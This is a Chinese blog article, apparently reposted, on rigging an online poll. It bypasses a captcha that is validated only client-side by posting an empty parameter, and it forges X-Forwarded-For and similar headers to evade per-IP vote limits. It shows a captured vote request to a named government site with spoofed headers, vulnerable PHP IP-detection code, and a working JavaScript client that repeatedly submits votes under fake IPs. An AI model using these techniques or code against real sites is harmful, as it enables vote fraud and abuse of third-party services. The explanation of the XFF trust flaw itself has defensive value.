投票網站分析及偽造IP技術


最近朋友需要一個投票軟件,我最近也就研究了一下這個投票網站,這個投票網站有驗證碼,每個IP限制為一票,看起來是標准的投票網站。我先研究了一下驗證碼:

這個投票網站的驗證碼開始很簡單,標准位置的標准四個數字,很好識別。后來變態到位數不一定,而且還有字母,而且還位置上下不一定,這下驗證碼的識別,不但是軟件很難識別,就連人工識別都困難。山窮水盡疑無路,柳暗花明又一村,請看下段分解!

在我不斷的分析和研究發現他的驗證碼檢查有漏洞,發現了這個漏洞,這個驗證碼已經形同虛設,無需識別,無需驗證碼,直接就繞過去了,因為他只在投票選項頁設置檢查驗證碼是否為空的 js代碼,js代碼是運行在客戶端,這種驗證的效果為零,一般JS這種驗證只是為了方便用戶來使用的,做為投票網站只使用這一種驗證方式,在投票處理動態頁面竟然不檢查驗證碼是否為空,實在是不敢恭維,給網站的安全帶來極大的隱患。

對於驗證碼的問題,我已經了解了破解方法,只要在投票的時候不直接訪問驗證碼文件,那么驗證碼就是為空,既然他的動態頁面不檢查驗證碼是否為空,所以只要在post的時候驗證碼參數為空就可以了。

那么還有一個問題就是這個投票網站檢查IP,限制一個IP只允許投票一次,那么只有使用代理,或者通過不停的斷網和撥號才能實現。我實在想不到其他好辦法,后來這個朋友找到了一個可以極速在這個網站投票的程序,我對這個程序的IP解決方案很好奇就問朋友要來想分析一下。

首先我是采取對這個投票軟件進行抓包的方式來研究,准備好了之后,打開投票程序“刷!提示軟件沖突!”暈,不會吧,那我就關掉一些程序,都關完了只留一個抓包程序還提示沖突,呵呵,原來這個程序竟然還知道有人可能會分析他的軟件,竟然遍歷進程名稱,檢查是否有可疑的程序,如果有程序對他進行分析或者抓包,他就拒絕運行。呵呵,目前我知道他限制的軟件有易語言編程軟件,還有 WSockExpert_Cn 抓包軟件。呵呵,關了易語言,把 WSockExpert_Cn 名稱改一下,順利通過軟件的自身安全檢測,運行成功。

 
以下是我在使用過程中他投票是的數據包:
POST /vote/view.php?sid=33&act=vote HTTP/1.1
Accept: */*
Referer:  http://www.qdnfy.gov.cn/vote/vote.php
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 218.20.218.200
CLIENT_IP: 218.20.218.200
VIA: 218.20.218.200
REMOTE_ADDR: 218.20.218.200
Accept-Language: zh-cn
Accept-Encoding: text
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)
Host:  www.qdnfy.gov.cn
Cookie: PHPSESSID=pldjnb6scereodjm5niqb9q990
Content-Length: 49
Connection: Close

X-Forwarded-For   發現了這個http頭參數  后面跟着IP,呵呵,這個參數肯定有來頭,原來我一直不知道,呵呵,趕緊百度一下。

下面是百度后的一篇說明文章,說得很好,大家看看。


偽造HTTP頭中的X-Forwarded-For字段來偽造IP
百度了一下X-Forwarded-For的原理,這東西出來好長時間了.我還第一次聽說
X-Forwarded-For:簡稱XFF頭,它代表客戶端,也就是HTTP的請求端真實的IP,只有在通過了HTTP 代理或者負載均衡服務器時才會添加該項。
它不是RFC中定義的標准請求頭信息,在squid緩存代理服務器開發文檔中可以找到該項的詳細介紹。
標准格式如下:
X-Forwarded-For: client1, proxy1, proxy2
從標准格式可以看出,X-Forwarded-For頭信息可以有多個,中間用逗號分隔,第一項為真實的客戶端ip,剩下的就是曾經經過的代理或負載均衡的ip地址,經過幾個就會出現幾個。
wiki 的X-Forwarded-For解釋 http://en.wikipedia.org/wiki/X-Forwarded-For
分析:
既然是要偽造客戶端IP,那我們先看看一般是怎樣獲取客戶端IP地址的(以php為例).這段代碼是在百度搜索到的.大部分網站可能都用這段代碼
 
<?php 
$user_IP = ($_SERVER["HTTP_VIA"]) ? //是否使用了代理 
$_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; 
//獲取失敗則從REMOTE_ADDR獲取
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 
?>
首先判斷HTTP_VIA頭是否存在,HTTP_VIA頭代表是否使用了代理服務器.如果沒有那就從REMOTE_ADDR字段獲取客戶端的IP地址,如果有那就從X-Forwarded-For獲取客戶端IP
我估計很多程序員都是從百度來的代碼吧.asp也類似.
然后我們來測試一下.
服務端代碼:
 
<?php 
//輸出HTTP_X_FORWARDED_FOR 
echo "HTTP_X_FORWARDED_FOR:".$_SERVER["HTTP_X_FORWARDED_FOR"]; 
//輸出REMOTE_ADDR echo "REMOTE_ADDR:". $_SERVER["REMOTE_ADDR"]; 
?>

可以看到獲取到的客戶端ip地址是不一樣的.REMOTE_ADDR為真實地址.
所以一個網站如果是從X-Forwarded-For來判斷客戶端IP地址的話,那么我們就可以利用這個邏輯漏洞刷票了.剛好我同學那個網站就是.
演示地址:http://87year.info/t00ls/vote/index.html(右鍵可查看所有客戶端源碼)

附客戶端代碼:
<script>
function CreateXMLHttp(){
var xmlhttp=false;//創建一個新變量並賦值false,使用false作為判斷條件說明還沒有創建XMLHTTPRequest對象
try{
xmlhttp=new XMLHttpRequest();//嘗試創建 XMLHttpRequest 對象,除 IE 外的瀏覽器都支持這個方法。
}catch(e){
try{
xmlhttp=ActiveXobject("Msxml12.XMLHTTP");//使用較新版本的 IE 創建 IE 兼容的對象(Msxml2.XMLHTTP)。
}catch(e){
try{
xmlhttp=ActiveXobject("Microsoft.XMLHTTP");//使用較老版本的 IE 創建 IE 兼容的對象(Microsoft.XMLHTTP)。
}catch(failed){
xmlhttp=false;//如果失敗了還保持false
}
}
}
return xmlhttp;
}
var g_i=0;
function $(obj){
return document.getElementById(obj);
}
function onSearch()
{
var g_xmlhttp=CreateXMLHttp();
if (g_xmlhttp==false)
{
alert("你的瀏覽器不支持ajax");
return;
}
var sendData="bid="+$("id").value;
var fakeIP=$("ip").value+g_i;
//alert(fakeIP);return ;
g_xmlhttp.open("POST","http://192.168.15.166/ip.php",true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4)
{
$("res").innerHTML+=g_xmlhttp.responseText+"</br>";
if(++g_i<5)
{
setTimeout("onSearch()",1000);
}
}
}
g_xmlhttp.send(sendData);
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br />
ip地址:<input id="ip" type="text" value="200.156.4." /></br>
投票ID:<input id="id" type="text" value="232" /></br>
<input id="search" type="button" value="開始" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM